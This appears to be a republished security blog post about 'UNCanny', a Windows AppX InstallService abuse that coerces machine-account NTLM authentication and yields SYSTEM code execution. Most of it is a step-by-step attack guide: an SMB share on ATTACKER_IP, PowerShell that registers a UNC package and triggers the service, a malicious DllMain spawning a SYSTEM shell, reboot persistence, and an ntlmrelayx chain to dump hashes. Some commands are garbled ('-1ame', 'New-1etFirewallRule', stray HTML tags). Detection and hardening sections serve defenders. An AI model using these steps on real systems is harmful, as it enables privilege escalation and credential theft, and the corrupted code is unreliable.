UNCanny: Weaponizing Windows Store Internals for Coercion & LPE — A New Primitive from AppX/InstallService

By /

Listen to this Post

Featured Image

Introduction:

The Windows operating system’s complex service architecture, while designed for stability and functionality, often presents novel attack vectors for determined red teamers. Recent research by Hossam E. (@0xHossam) has uncovered a new coercion primitive within the Windows AppX InstallService, a core component of the Microsoft Store. This “UNCanny” technique allows a non-privileged user to force the NT AUTHORITY\SYSTEM-level service to authenticate to a remote SMB share via NTLM, fundamentally enabling both machine-account credential coercion and a more direct vector for local privilege escalation (LPE).

Learning Objectives:

  • Understand the technical intricacies of the UNCanny coercion primitive and how it abuses the AppX Deployment Service and InstallService.
  • Learn to execute a step-by-step Local Privilege Escalation (LPE) attack from a standard Windows user context.
  • Implement effective detection mechanisms and hardening strategies to identify and mitigate this unique attack chain.

You Should Know:

  1. Decoding the UNCanny Primitive: From InstallService to SYSTEM Authentication

The core of this research lies in a specific path traversal within the Windows Store’s package management. The `InstallService.exe` process, running with `NT AUTHORITY\SYSTEM` privileges, is responsible for installing and managing AppX packages. The researcher identified that when the service needs to activate a plugin for a work item, it resolves a FulfillmentPluginId. Crucially, if this ID does not match a built-in plugin (like “WU” for Windows Update), the service attempts to interpret it as a package family name (PFN). It then locates the installed package via FindPackagesForUser, retrieves its InstalledLocation.Path, and performs a `LoadLibraryW` call on \InstalledLocation.Path\InstallServicePlugin.dll.

The attack’s ingenuity is leveraging the `InstalledLocation.Path` as a UNC path. A standard user can register a “loose-file package” using the PowerShell cmdlet Add-AppxPackage -Register \\attacker_share\AppxManifest.xml. This operation is permitted without administrative rights but requires Developer Mode to be enabled on the target. The system stores the package’s location as the original UNC path. Subsequently, when the standard user triggers a work item with the malicious PFN, the `InstallService` (as SYSTEM) attempts to `LoadLibraryW` from the attacker’s SMB share. This action forces the machine account to authenticate to the remote server via NTLM. Even without a valid DLL, the NTLM authentication itself is a powerful coercion primitive, enabling relay attacks or hash capture.

Step-by-Step Guide: Setting Up the Coercion Environment

This guide uses a Kali Linux attacker machine and a Windows 10/11 target with Developer Mode enabled.

  1. Attacker Setup (SMB Share): Create a directory for the share and the necessary dummy files. The `AppxManifest.xml` must be valid, and `MaxVersionTested` must be ≤ the target’s Windows build. 
    On Kali Linux
mkdir -p /tmp/coerce_share
cd /tmp/coerce_share
touch logo.png dummy.exe

Create a minimal `AppxManifest.xml`:

<?xml version="1.0" encoding="utf-8"?>
<Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10">
<Identity Name="DiscCoerceProbe" Publisher="CN=Attacker" Version="1.0.0.0" />
<Properties>
<DisplayName>CoerceProbe</DisplayName>
<PublisherDisplayName>Attacker</PublisherDisplayName>
<Logo>logo.png</Logo>
</Properties>
</Package>

2. Patch Impacket for NTFS Share Emulation: The AppX service refuses registration on non-1TFS shares. Patch Impacket’s SMB server to report NTFS.

 Edit impacket/smbserver.py (or the appropriate file in your environment)
 Change 'XTFS' to 'NTFS' where the filesystem type is defined.
  1. Start the Malicious SMB Server: Run the patched Impacket server from the share directory. 
    sudo python3 /usr/local/bin/smbserver.py -smb2support coerce /tmp/coerce_share

  2. Windows Target Execution (Standard User): From a non-admin PowerShell session on the target, run the following commands:

    Register the UNC AppX package
Add-AppxPackage -Register \ATTACKER_IP\coerce\AppxManifest.xml

Get the Package Family Name (PFN) of the newly registered package
$pfn = (Get-AppxPackage -1ame "DiscCoerceProbe").PackageFamilyName

Invoke the Coercion by creating an InstallService work item
This code snippet demonstrates the principle, see the researcher's POC for full implementation
$comObj = new-object -com "Windows.Internal.InstallService.Control.InstallServiceControl"
$comObj.CreateInstallServiceWork($null, $null, $null, $null, "{<code>"FulfillmentPluginId</code>":<code>"$pfn</code>"}", $null, [bash] $null)

  3. Observe the Coercion: The Impacket server on Kali will capture the NTLM authentication from the target’s `MACHINE$` account. This coerced authentication is the core primitive.

  4. Upgrading to LPE: Loading a SYSTEM-Level DLL from an SMB Share

The research extends beyond coercion to a reliable LPE method, contingent on using a proper SMB server (like Samba) that can serve a loadable DLL file. The attacker serves a malicious `InstallServicePlugin.dll` from the same UNC share. When the SYSTEM-level `InstallService` calls `LoadLibraryW` to resolve the plugin, it successfully maps the attacker’s DLL into its process space, executing arbitrary code with the highest privileges. Impacket SMB servers are noted as insufficient for this, as `LoadLibraryW` fails, but a full-featured server like Samba works correctly.

Step-by-Step Guide: Achieving LPE with a Malicious DLL

  1. Create a Malicious DLL: Compile a DLL with a `DllMain` function that executes a desired payload, such as launching a SYSTEM-level command shell. 
    // malicious_dll.cpp
include <windows.h></li>
</ol>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Payload: Launch a new command prompt as SYSTEM
WinExec("cmd.exe", SW_SHOW);
// Or add a new admin user, etc.
}
return TRUE;
}

    Compile it using MinGW or Visual Studio to produce InstallServicePlugin.dll.

    1. Set Up Samba Share: Install and configure Samba to serve the directory containing AppxManifest.xml, logo.png, dummy.exe, and your InstallServicePlugin.dll. Set the `path` and ensure `ntfs acl support = yes` to mimic an NTFS filesystem. 
      sudo apt update && sudo apt install samba -y
sudo smbpasswd -a <your_username>
Edit /etc/samba/smb.conf and add your share definition

    2. Execute LPE from Windows Target: With the Samba share online, repeat the registration and coercion steps from the standard user PowerShell session. This time, when `LoadLibraryW` is called, it will successfully load your DLL, granting you SYSTEM-level code execution.

    3. The Developer Mode Gate & Mitigation Pathways

    The most significant hurdle to this attack is the requirement for Developer Mode to be enabled. This feature, primarily for developers and power users, disables critical signing checks, allowing the registration of unsigned, loose-file packages. While this significantly reduces the attack surface on managed enterprise endpoints, dev/test machines and workstations with Developer Mode active are vulnerable. The researcher notes that removing this prerequisite is an open area for further research, potentially via COM search-order hijacking or bypassing registration policies.

    Guide: Detection & Hardening Against UNCanny-Style Attacks

    Hardening & Prevention:

    1. Disable Developer Mode via Group Policy: For enterprise environments, enforce a policy to disable Developer Mode. The registry key is HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock. Ensure `AllowDevelopmentWithoutDevLicense` is set to 0.
    2. Block SMB Outbound Traffic: At the network perimeter or via Windows Firewall, restrict outbound SMB traffic (TCP 445) from workstations to the internet and untrusted internal networks.
    3. Deploy Credential Guard: Enable Windows Defender Credential Guard to protect NTLM hashes of the machine account, mitigating the impact of coercion even if a relay is attempted.

    Detection (Sigma Rules & Logging):

    Detect Unsigned AppX Registration: Monitor PowerShell logs for the `Add-AppxPackage -Register` cmdlet being called with a UNC path. A Sigma rule exists for detecting usage of this cmdlet to install unsigned packages.
    Detect Developer Mode Enablement: Alert on registry modifications to `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock` which enable AllowDevelopmentWithoutDevLicense.
    Monitor InstallService Logs: Look for Event IDs related to `AppXDeployment-Server` that indicate a deployment operation has started, specifically watching for the `-AllowUnsigned` parameter or errors related to signing requirements.
    Monitor Outbound SMB Connections: From a low-integrity process, any outbound SMB connection attempt to a non-corporate IP range is highly suspicious.

    4. Infrastructure Hardening & Network Isolation

    Beyond endpoint hardening, the attack’s reliance on SMB egress should be addressed at the network level. Many organizations still permit outbound SMB traffic, which not only facilitates this attack but is also a common vector for data exfiltration.

    Step-by-Step Guide: Enforcing SMB Traffic Perimeter Block

    1. Windows Firewall (Local): Create a rule on sensitive workstations to block outbound SMB. 
      Block outbound SMB traffic on local Windows Firewall
New-1etFirewallRule -DisplayName "Block Outbound SMB" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Block
    2. Enterprise Perimeter: Ensure that your border firewalls and next-generation firewalls (NGFWs) have egress filtering rules that explicitly deny TCP/445 to any external IP addresses.
    3. Network Segmentation: Ensure that high-value development or test networks, where Developer Mode might be enabled, are strictly segmented from production networks.

    5. Bypassing Impacket’s Limitation for Coercion and Execution

    The researcher notes a critical distinction in SMB server behavior: Impacket is suitable for capturing the initial NTLM authentication but fails to serve a loadable DLL. This is because `LoadLibraryW` requires a robust SMB implementation that Impacket’s simple server does not provide. Understanding this tool-specific nuance is vital for red teamers: use Impacket for hash capture and Samba for full LPE exploitation.

    Step-by-Step Guide: Setting Up a Full SMB Server for LPE

    1. Install Samba: As shown earlier, install Samba on your attacker machine.
    2. Configure the Share: Edit /etc/samba/smb.conf. Add a share definition: 
      [bash]
path = /path/to/your/share
browseable = yes
read only = no
guest ok = yes
nt acl support = yes
map acl inherit = yes

    3. Start Samba: `sudo systemctl start smbd`

    1. Retry LPE: From the target, use the UNC path (\\ATTACKER_IP\lpeshare) in the `Add-AppxPackage -Register` command. The Samba share will properly serve the DLL, and your LPE code will execute as SYSTEM.

    2. Privilege Escalation Technique: Advanced DLL Sideloading via AppX

    This technique is essentially a high-stakes version of DLL sideloading. Instead of abusing a vulnerable application’s search order on the local filesystem, the attacker forces the trusted `InstallService.exe` (SYSTEM) to load a malicious DLL from a remote, attacker-controlled share. This bypasses many traditional security controls that focus on local file monitoring, making it a highly evasive LPE method. The SYSTEM token shown in the researcher’s `uncanny_lpe.txt` confirms the level of access granted.

    Step-by-Step Guide: Verifying the SYSTEM Token

    To confirm successful LPE, after triggering the attack, use a tool like `PsExec` or `Process Explorer` to examine the process properties of InstallService.exe. Look for the loaded `InstallServicePlugin.dll` module and verify that its thread or the process token shows NT AUTHORITY\SYSTEM. Alternatively, use a command line on the compromised system:

    wmic process where name="InstallService.exe" get processid,commandline
tasklist /m InstallServicePlugin.dll
    1. Coercion Primitive as a Service: Persistent Relay Opportunities

    A unique aspect of this discovery is the work queue. The `CreateInstallServiceWork` call not only triggers the coercion once but also persists it. The work item is queued to disk, and `InstallService` retries it automatically, even on system reboot. This provides a persistent capability for a red teamer: a single, low-privilege trigger can keep coercing the machine account to authenticate at every system restart. This persistence is ideal for relaying the machine authentication to a higher-value target (e.g., a file server) before the malicious DLL is eventually served on a later retry, turning a simple coercion into a full compromise.

    Step-by-Step Guide: Building a Relay Chain

    1. Install ntlmrelayx: `ntlmrelayx` is part of the Impacket suite.
    2. Configure Relay Target: Run `ntlmrelayx` to relay the captured machine authentication to another target, like a network file share or a web server. 
      sudo ntlmrelayx.py -t smb://VICTIM_FILE_SERVER_IP -smb2support
    3. Trigger Coercion: Use the initial coercion method to force the machine account to connect to your impacket SMB server. `ntlmrelayx` will intercept the authentication and relay it to the target.
    4. Execute Relay: On successful relay, `ntlmrelayx` can execute commands, dump SAM hashes, or upload files to the target server under the context of the relayed machine account.

    What Undercode Say:

    • Key Takeaway 1: The UNCanny technique is a masterclass in abusing inter-service communication. It transforms a seemingly benign feature (package family name resolution) into a powerful SYSTEM-level attack vector by cleverly manipulating a simple `LoadLibraryW` call to a user-controlled UNC path.
    • Key Takeaway 2: The reliance on Developer Mode is a double-edged sword. While it severely limits the attack’s scope in hardened environments, it highlights a dangerous blind spot in development setups. Organizations often overlook the security implications of enabling Developer Mode on employee workstations, creating a perfect storm for this LPE chain.

    The release of UNCanny underscores a fundamental red team truth: co-opting a system’s own trusted binary (installservice.exe) is far more reliable than injecting shellcode into an unknown process. By forcing the native Windows AppX stack to reach out to a remote share, the researcher has bypassed hundreds of EDR hooks that would otherwise scrutinize a process creating a new, suspicious network connection. This technique is not an exploit in the traditional sense—there are no memory corruption bugs, registry hacks, or vulnerable drivers—it is instead a pure feature-to-attack transformation. The developer mode “gate” is a critical control, but as red teamers, the moment a developer mistakenly enables it, the machine becomes a perfect target. The persistence mechanism ensures even a temporary foothold can be weaponized post-reboot, making this a high-value tool for maintaining long-term access. Finally, the impacket v/s samba nuance is a critical operational security (OPSEC) lesson: always test your tooling against the actual behavior of the target component, as the most beautiful attack chain will fail on a technicality like a broken `LoadLibraryW` call.

    Prediction:

    • -1 Enterprises with lenient policies on Developer Mode will see an increase in incident response cases over the next 6 months as this technique is weaponized into commodity C2 frameworks, leading to data breaches originating from seemingly isolated development workstations.
    • +1 The discovery will accelerate Microsoft’s investment in telemetry and detections for the AppXDeployment-Server, leading to new alerts and hardening measures for the Windows AppX InstallService, ultimately creating a more resilient ecosystem.
    • +1 Red team training courses and certifications (like CRTO, OSCP) will rapidly integrate this LPE chain into their Windows privilege escalation modules, forcing blue teams to become more familiar with AppX internals.
    • -1 Small to Medium businesses (SMBs) lacking dedicated SOCs will remain vulnerable for a longer period, as they lack the logging infrastructure to detect the abnormal AppX registration or outbound SMB traffic from workstations.

    🎯Let’s Practice For Free:

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]
    💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

    IT/Security Reporter URL:

    Reported By: 0xhossam Redteam – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: